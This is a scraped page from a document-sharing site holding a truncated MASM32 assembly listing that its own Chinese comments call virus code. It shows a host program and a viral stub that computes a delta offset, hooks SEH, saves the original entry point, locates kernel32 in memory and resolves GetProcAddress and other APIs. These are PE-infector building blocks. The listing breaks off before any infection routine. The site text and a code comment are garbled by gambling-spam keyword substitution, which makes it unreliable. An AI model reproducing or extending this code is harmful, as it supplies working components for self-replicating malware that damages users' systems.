- 1、本文档共18页,可阅读全部内容。
- 2、有哪些信誉好的足球投注网站(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。
- 3、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载。
- 4、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
查看更多
immunity代码(柴婷婷)
.386.model flat,stdcalloption casemap:noneinclude \masm32\include\windows.incinclude \masm32\include\kernel32.incinclude \masm32\include\user32.incincludelib \masm32\lib\kernel32.libincludelib \masm32\lib\user32.lib;这是一些相关的定义,;(上面的)--.datamcaption db 你好!!!!!!!!!!1!,0mtitle db *标题*,0; 主程序所用到的一些变量;(上面的)--.codehost_start:invoke MessageBox,NULL,offset mcaption,offset mtitle,64invoke ExitProcess,0;主程序代码,只是简单的打一串字符而已。;病毒代码运行完后,就会跳到此处执行。;(上面的)--Immunity SEGMENT PARA USE32 Immunityassume cs:Immunity,ds:Immunityvstart:push ebppush espcall nstartnstart: ;;;;;;;;;;;;;pop ebpsub ebp,offset nstart;病毒中常用的一种方法。得到一个偏移差。;程序后面用到的所有变量都需要加上个这偏移差;(上面的)--assume fs:nothing ;设置SEH,发生异常可以直接返回原入口.lea ebx, SEH[ebp]push ebxpush fs:[0]mov fs:[0],espmov OldEsp[ebp],esp;=========================; * 更改程序入口地址 *cmp old_base[ebp],0jnz gonextmov old_base[ebp],400000hgonext:cmp old_in[ebp],0jnz changemov old_in[ebp],1000hchange:mov eax,old_base[ebp]mov des_base[ebp],eaxmov eax, old_in[ebp]mov des_in[ebp],eax;变量定义的的意思见后方;程序开始执行时,当前程序的原入口地址会放到old_base+old_in中;由于程序中old_base_in有别的用途,因此将此地址存放到;des_base_in,以便最后跳回原程序入口。;(上面的)--;获得KERNEL32地址及所需的API函数地址mov eax,[esp+10h] ;//取Kernel32返回地址and ax,0f000hmov esi,eax ;//得到Kernel.PELoader代码位置(不精确)LoopFindKernel32: sub esi,1000h cmp word ptr[esi],ZM ;//有哪些信誉好的足球投注网站EXE文件头 jnz short LoopFindKernel32GetPeHeader: movzx edi,word ptr[esi+3ch] add edi,esi cmp word ptr[edi],EP ;//确认是否PE文件头 jnz short LoopFindKernel32 ;esi-kernel32,edi-kernel32 PE HEADER ;//////////////////////////////////////////////////查找GetProcAddress函数地址 mov vKernel32[ebp],esiGetPeExportTable: mov ebx,[edi+78h];4+14h+60h add ebx,vKernel32[ebp] ;//得到输出函数表 mov vExportKernel[ebp],ebx push 14 call aGetProcAddr db GetProcAddress,0aGetProcAddr: lea eax,GetApiAddress[ebp] call eax or eax,eax jz ExitTimes mov vGetProcAddress[ebp],eax ;得到GetProcAddress地址 lea esi,bGetModuleHandle[ebp] ;获得所有用到的KERNEL32函数的地址 lea edi,vGetModuleHandle[ebp] cldComeOn: lodsd add eax,ebp push eax push vKe
您可能关注的文档
- 英语:9-3-2Liu Xiang was trained for gold.doc
- 四年级英语6模块教学设计.doc
- 宜宾市高2014级高三(上)期中英语试题.docx
- 2015--2016学年高一英语半期考联考试卷.doc
- 黄冈市2016届春季九年级第二次模拟考试英语试题(含答案).docx
- 高二年级练习题.docx
- 【走向高考】2017年高考英语一轮复习 第二部分 语法专题15 构词法 新人教版.doc
- 新视角unit4课文翻译.docx
- 英语读写教程 Unit 4 词汇详解.docx
- 颜色名称和颜色值.doc
- 2023年技师茶艺师笔试考前冲刺题库500题(含答案).pdf
- 2023年护士资格考试历年高频考点800条(背诵版).pdf
- 2023年湖北省普通高中生物学业水平选择性考试.pdf
- 2023年护理三基知识必考重点题库及答案(共610题).pdf
- 2023年计算机与网络技术类学业水平考试复习题库(参考300题).pdf
- 2023年冀教版六年级下数学全册教案表格式.pdf
- 2023年建筑施工企业三类人员理论考试题库大全-下(判断、填空、简答题部分).pdf
- 2023年湖南省娄底市中考物理模拟试卷(附答案).pdf
- 2023年江西省中考数学真题变式题20-23题(附答案解析).pdf
- 2023年冀教版信息技术四年级全册教案.pdf
文档评论(0)